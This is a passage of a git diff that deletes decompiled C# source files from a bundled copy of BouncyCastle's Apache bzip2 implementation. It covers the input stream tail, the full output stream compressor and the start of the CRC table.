- count = 0; - SetupRandPartA(); - } - } - - private void SetupNoRandPartB() - { - if (ch2 != chPrev) - { - currentState = 5; - count = 1; - SetupNoRandPartA(); - return; - } - count++; - if (count >= 4) - { - z = ll8[tPos]; - tPos = tt[tPos]; - currentState = 7; - j2 = 0; - SetupNoRandPartC(); - } - else - { - currentState = 5; - SetupNoRandPartA(); - } - } - - private void SetupNoRandPartC() - { - if (j2 < z) - { - currentChar = ch2; - mCrc.UpdateCRC(ch2); - j2++; - } - else - { - currentState = 5; - i2++; - count = 0; - SetupNoRandPartA(); - } - } - - private void SetDecompressStructureSizes(int newSize100k) - { - if (0 <= newSize100k && newSize100k <= 9 && 0 <= blockSize100k) - { - _ = blockSize100k; - _ = 9; - } - blockSize100k = newSize100k; - if (newSize100k != 0) - { - int num = 100000 * newSize100k; - ll8 = new char[num]; - tt = new int[num]; - } - } - - public override void Flush() - { - } - - public override int Read(byte[] buffer, int offset, int count) - { - int num = -1; - int i; - for (i = 0; i < count; i++) - { - num = ReadByte(); - if (num == -1) - { - break; - } - buffer[i + offset] = (byte)num; - } - return i; - } - - public override long Seek(long offset, SeekOrigin origin) - { - return 0L; - } - - public override void SetLength(long value) - { - } - - public override void Write(byte[] buffer, int offset, int count) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CBZip2OutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CBZip2OutputStream.cs deleted file mode 100644 index e7a56fd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CBZip2OutputStream.cs +++ /dev/null @@ -1,1602 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Apache.Bzip2; - -public class CBZip2OutputStream : Stream -{ - internal class StackElem - { - internal int ll; - - internal int hh; - - internal int dd; - } - - protected const int SETMASK = 2097152; - - protected const int CLEARMASK = -2097153; - - protected const int GREATER_ICOST = 15; - - protected const int LESSER_ICOST = 0; - - protected const int SMALL_THRESH = 20; - - protected const int DEPTH_THRESH = 10; - - protected const int QSORT_STACK_SIZE = 1000; - - private bool finished; - - private int last; - - private int origPtr; - - private int blockSize100k; - - private bool blockRandomised; - - private int bytesOut; - - private int bsBuff; - - private int bsLive; - - private CRC mCrc = new CRC(); - - private bool[] inUse = new bool[256]; - - private int nInUse; - - private char[] seqToUnseq = new char[256]; - - private char[] unseqToSeq = new char[256]; - - private char[] selector = new char[18002]; - - private char[] selectorMtf = new char[18002]; - - private char[] block; - - private int[] quadrant; - - private int[] zptr; - - private short[] szptr; - - private int[] ftab; - - private int nMTF; - - private int[] mtfFreq = new int[258]; - - private int workFactor; - - private int workDone; - - private int workLimit; - - private bool firstAttempt; - - private int nBlocksRandomised; - - private int currentChar = -1; - - private int runLength = 0; - - private bool closed = false; - - private int blockCRC; - - private int combinedCRC; - - private int allowableBlockSize; - - private Stream bsStream; - - private int[] incs = new int[14] - { - 1, 4, 13, 40, 121, 364, 1093, 3280, 9841, 29524, - 88573, 265720, 797161, 2391484 - }; - - public override bool CanRead => false; - - public override bool CanSeek => false; - - public override bool CanWrite => true; - - public override long Length => 0L; - - public override long Position - { - get - { - return 0L; - } - set - { - } - } - - private static void Panic() - { - } - - private void MakeMaps() - { - nInUse = 0; - for (int i = 0; i < 256; i++) - { - if (inUse[i]) - { - seqToUnseq[nInUse] = (char)i; - unseqToSeq[i] = (char)nInUse; - nInUse++; - } - } - } - - protected static void HbMakeCodeLengths(char[] len, int[] freq, int alphaSize, int maxLen) - { - int[] array = new int[260]; - int[] array2 = new int[516]; - int[] array3 = new int[516]; - for (int i = 0; i < alphaSize; i++) - { - array2[i + 1] = ((freq[i] == 0) ? 1 : freq[i]) << 8; - } - while (true) - { - int num = alphaSize; - int num2 = 0; - array[0] = 0; - array2[0] = 0; - array3[0] = -2; - for (int i = 1; i <= alphaSize; i++) - { - array3[i] = -1; - num2++; - array[num2] = i; - int num3 = num2; - int num4 = array[num3]; - while (array2[num4] < array2[array[num3 >> 1]]) - { - array[num3] = array[num3 >> 1]; - num3 >>= 1; - } - array[num3] = num4; - } - if (num2 >= 260) - { - Panic(); - } - while (num2 > 1) - { - int num5 = array[1]; - array[1] = array[num2]; - num2--; - int num6 = 0; - int num7 = 0; - int num8 = 0; - num6 = 1; - num8 = array[num6]; - while (true) - { - num7 = num6 << 1; - if (num7 > num2) - { - break; - } - if (num7 < num2 && array2[array[num7 + 1]] < array2[array[num7]]) - { - num7++; - } - if (array2[num8] < array2[array[num7]]) - { - break; - } - array[num6] = array[num7]; - num6 = num7; - } - array[num6] = num8; - int num9 = array[1]; - array[1] = array[num2]; - num2--; - int num10 = 0; - int num11 = 0; - int num12 = 0; - num10 = 1; - num12 = array[num10]; - while (true) - { - num11 = num10 << 1; - if (num11 > num2) - { - break; - } - if (num11 < num2 && array2[array[num11 + 1]] < array2[array[num11]]) - { - num11++; - } - if (array2[num12] < array2[array[num11]]) - { - break; - } - array[num10] = array[num11]; - num10 = num11; - } - array[num10] = num12; - num++; - array3[num5] = (array3[num9] = num); - array2[num] = (int)((array2[num5] & 0xFFFFFF00u) + (array2[num9] & 0xFFFFFF00u)) | (1 + (((array2[num5] & 0xFF) > (array2[num9] & 0xFF)) ? (array2[num5] & 0xFF) : (array2[num9] & 0xFF))); - array3[num] = -1; - num2++; - array[num2] = num; - int num13 = 0; - int num14 = 0; - num13 = num2; - num14 = array[num13]; - while (array2[num14] < array2[array[num13 >> 1]]) - { - array[num13] = array[num13 >> 1]; - num13 >>= 1; - } - array[num13] = num14; - } - if (num >= 516) - { - Panic(); - } - bool flag = false; - for (int i = 1; i <= alphaSize; i++) - { - int num15 = 0; - int num16 = i; - while (array3[num16] >= 0) - { - num16 = array3[num16]; - num15++; - } - len[i - 1] = (char)num15; - if (num15 > maxLen) - { - flag = true; - } - } - if (!flag) - { - break; - } - for (int i = 1; i < alphaSize; i++) - { - int num15 = array2[i] >> 8; - num15 = 1 + num15 / 2; - array2[i] = num15 << 8; - } - } - } - - public CBZip2OutputStream(Stream inStream) - : this(inStream, 9) - { - } - - public CBZip2OutputStream(Stream inStream, int inBlockSize) - { - block = null; - quadrant = null; - zptr = null; - ftab = null; - inStream.WriteByte(66); - inStream.WriteByte(90); - BsSetStream(inStream); - workFactor = 50; - if (inBlockSize > 9) - { - inBlockSize = 9; - } - if (inBlockSize < 1) - { - inBlockSize = 1; - } - blockSize100k = inBlockSize; - AllocateCompressStructures(); - Initialize(); - InitBlock(); - } - - public override void WriteByte(byte bv) - { - int num = (256 + bv) % 256; - if (currentChar != -1) - { - if (currentChar == num) - { - runLength++; - if (runLength > 254) - { - WriteRun(); - currentChar = -1; - runLength = 0; - } - } - else - { - WriteRun(); - runLength = 1; - currentChar = num; - } - } - else - { - currentChar = num; - runLength++; - } - } - - private void WriteRun() - { - if (last < allowableBlockSize) - { - inUse[currentChar] = true; - for (int i = 0; i < runLength; i++) - { - mCrc.UpdateCRC((ushort)currentChar); - } - switch (runLength) - { - case 1: - last++; - block[last + 1] = (char)currentChar; - break; - case 2: - last++; - block[last + 1] = (char)currentChar; - last++; - block[last + 1] = (char)currentChar; - break; - case 3: - last++; - block[last + 1] = (char)currentChar; - last++; - block[last + 1] = (char)currentChar; - last++; - block[last + 1] = (char)currentChar; - break; - default: - inUse[runLength - 4] = true; - last++; - block[last + 1] = (char)currentChar; - last++; - block[last + 1] = (char)currentChar; - last++; - block[last + 1] = (char)currentChar; - last++; - block[last + 1] = (char)currentChar; - last++; - block[last + 1] = (char)(runLength - 4); - break; - } - } - else - { - EndBlock(); - InitBlock(); - WriteRun(); - } - } - - public override void Close() - { - if (!closed) - { - Finish(); - closed = true; - Platform.Dispose(bsStream); - base.Close(); - } - } - - public void Finish() - { - if (!finished) - { - if (runLength > 0) - { - WriteRun(); - } - currentChar = -1; - EndBlock(); - EndCompression(); - finished = true; - Flush(); - } - } - - public override void Flush() - { - bsStream.Flush(); - } - - private void Initialize() - { - bytesOut = 0; - nBlocksRandomised = 0; - BsPutUChar(104); - BsPutUChar(48 + blockSize100k); - combinedCRC = 0; - } - - private void InitBlock() - { - mCrc.InitialiseCRC(); - last = -1; - for (int i = 0; i < 256; i++) - { - inUse[i] = false; - } - allowableBlockSize = 100000 * blockSize100k - 20; - } - - private void EndBlock() - { - blockCRC = mCrc.GetFinalCRC(); - combinedCRC = (combinedCRC << 1) | (combinedCRC >>> 31); - combinedCRC ^= blockCRC; - DoReversibleTransformation(); - BsPutUChar(49); - BsPutUChar(65); - BsPutUChar(89); - BsPutUChar(38); - BsPutUChar(83); - BsPutUChar(89); - BsPutint(blockCRC); - if (blockRandomised) - { - BsW(1, 1); - nBlocksRandomised++; - } - else - { - BsW(1, 0); - } - MoveToFrontCodeAndSend(); - } - - private void EndCompression() - { - BsPutUChar(23); - BsPutUChar(114); - BsPutUChar(69); - BsPutUChar(56); - BsPutUChar(80); - BsPutUChar(144); - BsPutint(combinedCRC); - BsFinishedWithStream(); - } - - private void HbAssignCodes(int[] code, char[] length, int minLen, int maxLen, int alphaSize) - { - int num = 0; - for (int i = minLen; i <= maxLen; i++) - { - for (int j = 0; j < alphaSize; j++) - { - if (length[j] == i) - { - code[j] = num; - num++; - } - } - num <<= 1; - } - } - - private void BsSetStream(Stream f) - { - bsStream = f; - bsLive = 0; - bsBuff = 0; - bytesOut = 0; - } - - private void BsFinishedWithStream() - { - while (bsLive > 0) - { - int num = bsBuff >> 24; - try - { - bsStream.WriteByte((byte)num); - } - catch (IOException ex) - { - throw ex; - } - bsBuff <<= 8; - bsLive -= 8; - bytesOut++; - } - } - - private void BsW(int n, int v) - { - while (bsLive >= 8) - { - int num = bsBuff >> 24; - try - { - bsStream.WriteByte((byte)num); - } - catch (IOException ex) - { - throw ex; - } - bsBuff <<= 8; - bsLive -= 8; - bytesOut++; - } - bsBuff |= v << 32 - bsLive - n; - bsLive += n; - } - - private void BsPutUChar(int c) - { - BsW(8, c); - } - - private void BsPutint(int u) - { - BsW(8, (u >> 24) & 0xFF); - BsW(8, (u >> 16) & 0xFF); - BsW(8, (u >> 8) & 0xFF); - BsW(8, u & 0xFF); - } - - private void BsPutIntVS(int numBits, int c) - { - BsW(numBits, c); - } - - private void SendMTFValues() - { - char[][] array = CBZip2InputStream.InitCharArray(6, 258); - int num = 0; - int num2 = nInUse + 2; - for (int i = 0; i < 6; i++) - { - for (int j = 0; j < num2; j++) - { - array[i][j] = '\u000f'; - } - } - if (nMTF <= 0) - { - Panic(); - } - int num3 = ((nMTF < 200) ? 2 : ((nMTF < 600) ? 3 : ((nMTF < 1200) ? 4 : ((nMTF >= 2400) ? 6 : 5)))); - int num4 = num3; - int num5 = nMTF; - int num6 = 0; - while (num4 > 0) - { - int num7 = num5 / num4; - int num8 = num6 - 1; - int k; - for (k = 0; k < num7; k += mtfFreq[num8]) - { - if (num8 >= num2 - 1) - { - break; - } - num8++; - } - if (num8 > num6 && num4 != num3 && num4 != 1 && (num3 - num4) % 2 == 1) - { - k -= mtfFreq[num8]; - num8--; - } - for (int j = 0; j < num2; j++) - { - if (j >= num6 && j <= num8) - { - array[num4 - 1][j] = '\0'; - } - else - { - array[num4 - 1][j] = '\u000f'; - } - } - num4--; - num6 = num8 + 1; - num5 -= k; - } - int[][] array2 = CBZip2InputStream.InitIntArray(6, 258); - int[] array3 = new int[6]; - short[] array4 = new short[6]; - for (int l = 0; l < 4; l++) - { - for (int i = 0; i < num3; i++) - { - array3[i] = 0; - } - for (int i = 0; i < num3; i++) - { - for (int j = 0; j < num2; j++) - { - array2[i][j] = 0; - } - } - num = 0; - int num9 = 0; - num6 = 0; - while (num6 < nMTF) - { - int num8 = num6 + 50 - 1; - if (num8 >= nMTF) - { - num8 = nMTF - 1; - } - for (int i = 0; i < num3; i++) - { - array4[i] = 0; - } - nint num19; - if (num3 == 6) - { - short num11; - short num12; - short num13; - short num14; - short num15; - short num10 = (num11 = (num12 = (num13 = (num14 = (num15 = 0))))); - for (int m = num6; m <= num8; m++) - { - short num16 = szptr[m]; - num10 += (short)array[0][num16]; - num11 += (short)array[1][num16]; - num12 += (short)array[2][num16]; - num13 += (short)array[3][num16]; - num14 += (short)array[4][num16]; - num15 += (short)array[5][num16]; - } - array4[0] = num10; - array4[1] = num11; - array4[2] = num12; - array4[3] = num13; - array4[4] = num14; - array4[5] = num15; - } - else - { - for (int m = num6; m <= num8; m++) - { - short num17 = szptr[m]; - for (int i = 0; i < num3; i++) - { - short[] array6; - short[] array5 = (array6 = array4); - int num18 = i; - num19 = num18; - array5[num18] = (short)(array6[num19] + (short)array[i][num17]); - } - } - } - int num20 = 999999999; - int num21 = -1; - for (int i = 0; i < num3; i++) - { - if (array4[i] < num20) - { - num20 = array4[i]; - num21 = i; - } - } - num9 += num20; - int[] array8; - int[] array7 = (array8 = array3); - int num22 = num21; - num19 = num22; - array7[num22] = array8[num19] + 1; - selector[num] = (char)num21; - num++; - for (int m = num6; m <= num8; m++) - { - int[] array9 = (array8 = array2[num21]); - short num23 = szptr[m]; - num19 = num23; - array9[num23] = array8[num19] + 1; - } - num6 = num8 + 1; - } - for (int i = 0; i < num3; i++) - { - HbMakeCodeLengths(array[i], array2[i], num2, 20); - } - } - array2 = null; - array3 = null; - array4 = null; - if (num3 >= 8) - { - Panic(); - } - if (num >= 32768 || num > 18002) - { - Panic(); - } - char[] array10 = new char[6]; - for (int m = 0; m < num3; m++) - { - array10[m] = (char)m; - } - for (int m = 0; m < num; m++) - { - char c = selector[m]; - int num24 = 0; - char c2 = array10[num24]; - while (c != c2) - { - num24++; - char c3 = c2; - c2 = array10[num24]; - array10[num24] = c3; - } - array10[0] = c2; - selectorMtf[m] = (char)num24; - } - int[][] array11 = CBZip2InputStream.InitIntArray(6, 258); - for (int i = 0; i < num3; i++) - { - int num25 = 32; - int num26 = 0; - for (int m = 0; m < num2; m++) - { - if (array[i][m] > num26) - { - num26 = array[i][m]; - } - if (array[i][m] < num25) - { - num25 = array[i][m]; - } - } - if (num26 > 20) - { - Panic(); - } - if (num25 < 1) - { - Panic(); - } - HbAssignCodes(array11[i], array[i], num25, num26, num2); - } - bool[] array12 = new bool[16]; - for (int m = 0; m < 16; m++) - { - array12[m] = false; - for (int num24 = 0; num24 < 16; num24++) - { - if (inUse[m * 16 + num24]) - { - array12[m] = true; - } - } - } - for (int m = 0; m < 16; m++) - { - if (array12[m]) - { - BsW(1, 1); - } - else - { - BsW(1, 0); - } - } - for (int m = 0; m < 16; m++) - { - if (!array12[m]) - { - continue; - } - for (int num24 = 0; num24 < 16; num24++) - { - if (inUse[m * 16 + num24]) - { - BsW(1, 1); - } - else - { - BsW(1, 0); - } - } - } - BsW(3, num3); - BsW(15, num); - for (int m = 0; m < num; m++) - { - for (int num24 = 0; num24 < selectorMtf[m]; num24++) - { - BsW(1, 1); - } - BsW(1, 0); - } - for (int i = 0; i < num3; i++) - { - int n = array[i][0]; - BsW(5, n); - for (int m = 0; m < num2; m++) - { - for (; n < array[i][m]; n++) - { - BsW(2, 2); - } - while (n > array[i][m]) - { - BsW(2, 3); - n--; - } - BsW(1, 0); - } - } - int num27 = 0; - num6 = 0; - while (num6 < nMTF) - { - int num8 = num6 + 50 - 1; - if (num8 >= nMTF) - { - num8 = nMTF - 1; - } - for (int m = num6; m <= num8; m++) - { - BsW(array[(uint)selector[num27]][szptr[m]], array11[(uint)selector[num27]][szptr[m]]); - } - num6 = num8 + 1; - num27++; - } - if (num27 != num) - { - Panic(); - } - } - - private void MoveToFrontCodeAndSend() - { - BsPutIntVS(24, origPtr); - GenerateMTFValues(); - SendMTFValues(); - } - - private void SimpleSort(int lo, int hi, int d) - { - int num = hi - lo + 1; - if (num < 2) - { - return; - } - int i; - for (i = 0; incs[i] < num; i++) - { - } - for (i--; i >= 0; i--) - { - int num2 = incs[i]; - int num3 = lo + num2; - while (num3 <= hi) - { - int num4 = zptr[num3]; - int num5 = num3; - while (FullGtU(zptr[num5 - num2] + d, num4 + d)) - { - zptr[num5] = zptr[num5 - num2]; - num5 -= num2; - if (num5 <= lo + num2 - 1) - { - break; - } - } - zptr[num5] = num4; - num3++; - if (num3 > hi) - { - break; - } - num4 = zptr[num3]; - num5 = num3; - while (FullGtU(zptr[num5 - num2] + d, num4 + d)) - { - zptr[num5] = zptr[num5 - num2]; - num5 -= num2; - if (num5 <= lo + num2 - 1) - { - break; - } - } - zptr[num5] = num4; - num3++; - if (num3 > hi) - { - break; - } - num4 = zptr[num3]; - num5 = num3; - while (FullGtU(zptr[num5 - num2] + d, num4 + d)) - { - zptr[num5] = zptr[num5 - num2]; - num5 -= num2; - if (num5 <= lo + num2 - 1) - { - break; - } - } - zptr[num5] = num4; - num3++; - if (workDone > workLimit && firstAttempt) - { - return; - } - } - } - } - - private void Vswap(int p1, int p2, int n) - { - int num = 0; - while (n > 0) - { - num = zptr[p1]; - zptr[p1] = zptr[p2]; - zptr[p2] = num; - p1++; - p2++; - n--; - } - } - - private char Med3(char a, char b, char c) - { - if (a > b) - { - char c2 = a; - a = b; - b = c2; - } - if (b > c) - { - char c2 = b; - b = c; - c = c2; - } - if (a > b) - { - b = a; - } - return b; - } - - private void QSort3(int loSt, int hiSt, int dSt) - { - StackElem[] array = new StackElem[1000]; - for (int i = 0; i < 1000; i++) - { - array[i] = new StackElem(); - } - int num = 0; - array[num].ll = loSt; - array[num].hh = hiSt; - array[num].dd = dSt; - num++; - while (num > 0) - { - if (num >= 1000) - { - Panic(); - } - num--; - int ll = array[num].ll; - int hh = array[num].hh; - int dd = array[num].dd; - if (hh - ll < 20 || dd > 10) - { - SimpleSort(ll, hh, dd); - if (workDone > workLimit && firstAttempt) - { - break; - } - continue; - } - int num2 = Med3(block[zptr[ll] + dd + 1], block[zptr[hh] + dd + 1], block[zptr[ll + hh >> 1] + dd + 1]); - int num4; - int num3 = (num4 = ll); - int num6; - int num5 = (num6 = hh); - int num7; - while (true) - { - if (num3 <= num5) - { - num7 = block[zptr[num3] + dd + 1] - num2; - if (num7 == 0) - { - int num8 = 0; - num8 = zptr[num3]; - zptr[num3] = zptr[num4]; - zptr[num4] = num8; - num4++; - num3++; - continue; - } - if (num7 <= 0) - { - num3++; - continue; - } - } - while (num3 <= num5) - { - num7 = block[zptr[num5] + dd + 1] - num2; - if (num7 == 0) - { - int num9 = 0; - num9 = zptr[num5]; - zptr[num5] = zptr[num6]; - zptr[num6] = num9; - num6--; - num5--; - } - else - { - if (num7 < 0) - { - break; - } - num5--; - } - } - if (num3 > num5) - { - break; - } - int num10 = zptr[num3]; - zptr[num3] = zptr[num5]; - zptr[num5] = num10; - num3++; - num5--; - } - if (num6 < num4) - { - array[num].ll = ll; - array[num].hh = hh; - array[num].dd = dd + 1; - num++; - continue; - } - num7 = ((num4 - ll < num3 - num4) ? (num4 - ll) : (num3 - num4)); - Vswap(ll, num3 - num7, num7); - int num11 = ((hh - num6 < num6 - num5) ? (hh - num6) : (num6 - num5)); - Vswap(num3, hh - num11 + 1, num11); - num7 = ll + num3 - num4 - 1; - num11 = hh - (num6 - num5) + 1; - array[num].ll = ll; - array[num].hh = num7; - array[num].dd = dd; - num++; - array[num].ll = num7 + 1; - array[num].hh = num11 - 1; - array[num].dd = dd + 1; - num++; - array[num].ll = num11; - array[num].hh = hh; - array[num].dd = dd; - num++; - } - } - - private void MainSort() - { - int[] array = new int[256]; - int[] array2 = new int[256]; - bool[] array3 = new bool[256]; - for (int i = 0; i < 20; i++) - { - block[last + i + 2] = block[i % (last + 1) + 1]; - } - for (int i = 0; i <= last + 20; i++) - { - quadrant[i] = 0; - } - block[0] = block[last + 1]; - if (last < 4000) - { - for (int i = 0; i <= last; i++) - { - zptr[i] = i; - } - firstAttempt = false; - workDone = (workLimit = 0); - SimpleSort(0, last, 0); - return; - } - int num = 0; - for (int i = 0; i <= 255; i++) - { - array3[i] = false; - } - for (int i = 0; i <= 65536; i++) - { - ftab[i] = 0; - } - int num2 = block[0]; - int[] array5; - nint num5; - for (int i = 0; i <= last; i++) - { - int num3 = block[i + 1]; - int[] array4 = (array5 = ftab); - int num4 = (num2 << 8) + num3; - num5 = num4; - array4[num4] = array5[num5] + 1; - num2 = num3; - } - for (int i = 1; i <= 65536; i++) - { - int[] array6 = (array5 = ftab); - int num6 = i; - num5 = num6; - array6[num6] = array5[num5] + ftab[i - 1]; - } - num2 = block[1]; - int num7; - for (int i = 0; i < last; i++) - { - int num3 = block[i + 2]; - num7 = (num2 << 8) + num3; - num2 = num3; - int[] array7 = (array5 = ftab); - int num8 = num7; - num5 = num8; - array7[num8] = array5[num5] - 1; - zptr[ftab[num7]] = i; - } - num7 = (int)(((uint)block[last + 1] << 8) + block[1]); - int[] array8 = (array5 = ftab); - int num9 = num7; - num5 = num9; - array8[num9] = array5[num5] - 1; - zptr[ftab[num7]] = last; - for (int i = 0; i <= 255; i++) - { - array[i] = i; - } - int num10 = 1; - do - { - num10 = 3 * num10 + 1; - } - while (num10 <= 256); - do - { - num10 /= 3; - for (int i = num10; i <= 255; i++) - { - int num11 = array[i]; - num7 = i; - while (ftab[array[num7 - num10] + 1 << 8] - ftab[array[num7 - num10] << 8] > ftab[num11 + 1 << 8] - ftab[num11 << 8]) - { - array[num7] = array[num7 - num10]; - num7 -= num10; - if (num7 <= num10 - 1) - { - break; - } - } - array[num7] = num11; - } - } - while (num10 != 1); - for (int i = 0; i <= 255; i++) - { - int num12 = array[i]; - for (num7 = 0; num7 <= 255; num7++) - { - int num13 = (num12 << 8) + num7; - if ((ftab[num13] & 0x200000) == 2097152) - { - continue; - } - int num14 = ftab[num13] & -2097153; - int num15 = (ftab[num13 + 1] & -2097153) - 1; - if (num15 > num14) - { - QSort3(num14, num15, 2); - num += num15 - num14 + 1; - if (workDone > workLimit && firstAttempt) - { - return; - } - } - int[] array9 = (array5 = ftab); - num5 = num13; - array9[num13] = array5[num5] | 0x200000; - } - array3[num12] = true; - if (i < 255) - { - int num16 = ftab[num12 << 8] & -2097153; - int num17 = (ftab[num12 + 1 << 8] & -2097153) - num16; - int j; - for (j = 0; num17 >> j > 65534; j++) - { - } - for (num7 = 0; num7 < num17; num7++) - { - int num18 = zptr[num16 + num7]; - int num19 = num7 >> j; - quadrant[num18] = num19; - if (num18 < 20) - { - quadrant[num18 + last + 1] = num19; - } - } - if (num17 - 1 >> j > 65535) - { - Panic(); - } - } - for (num7 = 0; num7 <= 255; num7++) - { - array2[num7] = ftab[(num7 << 8) + num12] & -2097153; - } - for (num7 = ftab[num12 << 8] & -2097153; num7 < (ftab[num12 + 1 << 8] & -2097153); num7++) - { - num2 = block[zptr[num7]]; - if (!array3[num2]) - { - zptr[array2[num2]] = ((zptr[num7] == 0) ? last : (zptr[num7] - 1)); - int[] array10 = (array5 = array2); - int num20 = num2; - num5 = num20; - array10[num20] = array5[num5] + 1; - } - } - for (num7 = 0; num7 <= 255; num7++) - { - int[] array11 = (array5 = ftab); - int num21 = (num7 << 8) + num12; - num5 = num21; - array11[num21] = array5[num5] | 0x200000; - } - } - } - - private void RandomiseBlock() - { - int num = 0; - int num2 = 0; - for (int i = 0; i < 256; i++) - { - inUse[i] = false; - } - for (int i = 0; i <= last; i++) - { - if (num == 0) - { - num = (ushort)BZip2Constants.rNums[num2]; - num2++; - if (num2 == 512) - { - num2 = 0; - } - } - num--; - char[] array2; - char[] array = (array2 = block); - int num3 = i + 1; - nint num4 = num3; - array[num3] = (char)((uint)array2[num4] ^ ((num == 1) ? 1u : 0u)); - char[] array3 = (array2 = block); - int num5 = i + 1; - num4 = num5; - array3[num5] = (char)(array2[num4] & 0xFF); - inUse[(uint)block[i + 1]] = true; - } - } - - private void DoReversibleTransformation() - { - workLimit = workFactor * last; - workDone = 0; - blockRandomised = false; - firstAttempt = true; - MainSort(); - if (workDone > workLimit && firstAttempt) - { - RandomiseBlock(); - workLimit = (workDone = 0); - blockRandomised = true; - firstAttempt = false; - MainSort(); - } - origPtr = -1; - for (int i = 0; i <= last; i++) - { - if (zptr[i] == 0) - { - origPtr = i; - break; - } - } - if (origPtr == -1) - { - Panic(); - } - } - - private bool FullGtU(int i1, int i2) - { - char c = block[i1 + 1]; - char c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - i1++; - i2++; - int num = last + 1; - do - { - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - int num2 = quadrant[i1]; - int num3 = quadrant[i2]; - if (num2 != num3) - { - return num2 > num3; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - num2 = quadrant[i1]; - num3 = quadrant[i2]; - if (num2 != num3) - { - return num2 > num3; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - num2 = quadrant[i1]; - num3 = quadrant[i2]; - if (num2 != num3) - { - return num2 > num3; - } - i1++; - i2++; - c = block[i1 + 1]; - c2 = block[i2 + 1]; - if (c != c2) - { - return c > c2; - } - num2 = quadrant[i1]; - num3 = quadrant[i2]; - if (num2 != num3) - { - return num2 > num3; - } - i1++; - i2++; - if (i1 > last) - { - i1 -= last; - i1--; - } - if (i2 > last) - { - i2 -= last; - i2--; - } - num -= 4; - workDone++; - } - while (num >= 0); - return false; - } - - private void AllocateCompressStructures() - { - int num = 100000 * blockSize100k; - block = new char[num + 1 + 20]; - quadrant = new int[num + 20]; - zptr = new int[num]; - ftab = new int[65537]; - if (block != null && quadrant != null && zptr != null) - { - _ = ftab; - } - szptr = new short[2 * num]; - } - - private void GenerateMTFValues() - { - char[] array = new char[256]; - MakeMaps(); - int num = nInUse + 1; - for (int i = 0; i <= num; i++) - { - mtfFreq[i] = 0; - } - int num2 = 0; - int num3 = 0; - for (int i = 0; i < nInUse; i++) - { - array[i] = (char)i; - } - int[] array2; - nint num6; - for (int i = 0; i <= last; i++) - { - char c = unseqToSeq[(uint)block[zptr[i]]]; - int num4 = 0; - char c2 = array[num4]; - while (c != c2) - { - num4++; - char c3 = c2; - c2 = array[num4]; - array[num4] = c3; - } - array[0] = c2; - if (num4 == 0) - { - num3++; - continue; - } - if (num3 > 0) - { - num3--; - while (true) - { - switch (num3 % 2) - { - case 0: - szptr[num2] = 0; - num2++; - (array2 = mtfFreq)[0] = array2[0] + 1; - break; - case 1: - szptr[num2] = 1; - num2++; - (array2 = mtfFreq)[1] = array2[1] + 1; - break; - } - if (num3 < 2) - { - break; - } - num3 = (num3 - 2) / 2; - } - num3 = 0; - } - szptr[num2] = (short)(num4 + 1); - num2++; - int[] array3 = (array2 = mtfFreq); - int num5 = num4 + 1; - num6 = num5; - array3[num5] = array2[num6] + 1; - } - if (num3 > 0) - { - num3--; - while (true) - { - switch (num3 % 2) - { - case 0: - szptr[num2] = 0; - num2++; - (array2 = mtfFreq)[0] = array2[0] + 1; - break; - case 1: - szptr[num2] = 1; - num2++; - (array2 = mtfFreq)[1] = array2[1] + 1; - break; - } - if (num3 < 2) - { - break; - } - num3 = (num3 - 2) / 2; - } - } - szptr[num2] = (short)num; - num2++; - int[] array4 = (array2 = mtfFreq); - num6 = num; - array4[num] = array2[num6] + 1; - nMTF = num2; - } - - public override int Read(byte[] buffer, int offset, int count) - { - return 0; - } - - public override long Seek(long offset, SeekOrigin origin) - { - return 0L; - } - - public override void SetLength(long value) - { - } - - public override void Write(byte[] buffer, int offset, int count) - { - for (int i = 0; i < count; i++) - { - WriteByte(buffer[i + offset]); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CRC.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CRC.cs deleted file mode 100644 index 016e199..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CRC.cs +++ /dev/null @@ -1,71 +0,0 @@ -namespace Org.BouncyCastle.Apache.Bzip2; - -internal class CRC -{ - public static readonly int[] crc32Table = new int[256] - { - 0, 79764919, 159529838, 222504665, 319059676, 398814059, 445009330, 507990021, 638119352, 583659535, - 797628118, 726387553, 890018660, 835552979, 1015980042, 944750013, 1276238704, 1221641927, 1167319070, 1095957929, - 1595256236, 1540665371, 1452775106, 1381403509, 1780037320, 1859660671, 1671105958, 1733955601, 2031960084, 2111593891, - 1889500026, 1952343757, -1742489888, -1662866601, -1851683442, -1788833735, -1960329156, -1880695413, -2103051438, -2040207643, - -1104454824, -1159051537, -1213636554, -1284997759, -1389417084, -1444007885, -1532160278, -1603531939, -734892656, -789352409, - -575645954, -646886583, -952755380, -1007220997, -827056094, -898286187, -231047128, -151282273, -71779514, -8804623, - -515967244, -436212925, -390279782, -327299027, 881225847, 809987520, 1023691545, 969234094, 662832811, 591600412, - 771767749, 717299826, 311336399, 374308984, 453813921, 533576470, 25881363, 88864420, 134795389, 214552010, - 2023205639, 2086057648, 1897238633, 1976864222, 1804852699, 1867694188, 1645340341, 1724971778, 1587496639, 1516133128, - 1461550545, 1406951526, 1302016099, 1230646740, 1142491917, 1087903418, -1398421865, -1469785312, -1524105735, 